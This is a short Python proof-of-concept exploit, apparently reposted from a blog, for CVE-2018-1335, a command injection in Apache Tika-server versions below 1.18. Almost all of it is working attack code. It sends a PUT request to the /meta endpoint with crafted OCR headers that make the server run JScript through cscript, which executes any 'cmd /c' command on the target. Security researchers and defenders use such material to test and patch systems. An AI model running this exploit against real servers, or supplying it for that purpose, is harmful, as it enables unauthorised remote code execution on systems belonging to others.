[EXP]Apache Tika-server < 1.18 - Command Injection

######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server.                      #
#Versions Affected: Tika-server versions < 1.18                                                      #   
#Researcher: David Yesland Twitter: @Daveysec                                                        #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ #                                                                   # 
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335                                       #
######################################################################################################

import sys
import requests

if len(sys.argv) < 4:
    print "Usage: python CVE-2018-1335.py <host> <port> <command>"
    print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
    host = sys.argv[1]
    port = sys.argv[2]
    cmd = sys.argv[3]

    url = host+":"+str(port)+"/meta"

    headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", 
        "X-Tika-OCRLanguage": "//E:Jscript", 
        "Expect": "100-continue", 
        "Content-type": "image/jp2", 
        "Connection": "close"}

    jscript='''var oShell = WScript.CreateObject("WScript.Shell");
    var oExec = oShell.Exec('cmd /c {}');
    '''.format(cmd)

    try:
        requests.put("https://"+url, headers=headers, data=jscript, verify=False)
    
    except:
        try:
            requests.put("http://"+url, headers=headers, data=jscript)
        except:
            print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"
            

猜你喜欢

转载自www.cnblogs.com/k8gege/p/10533413.html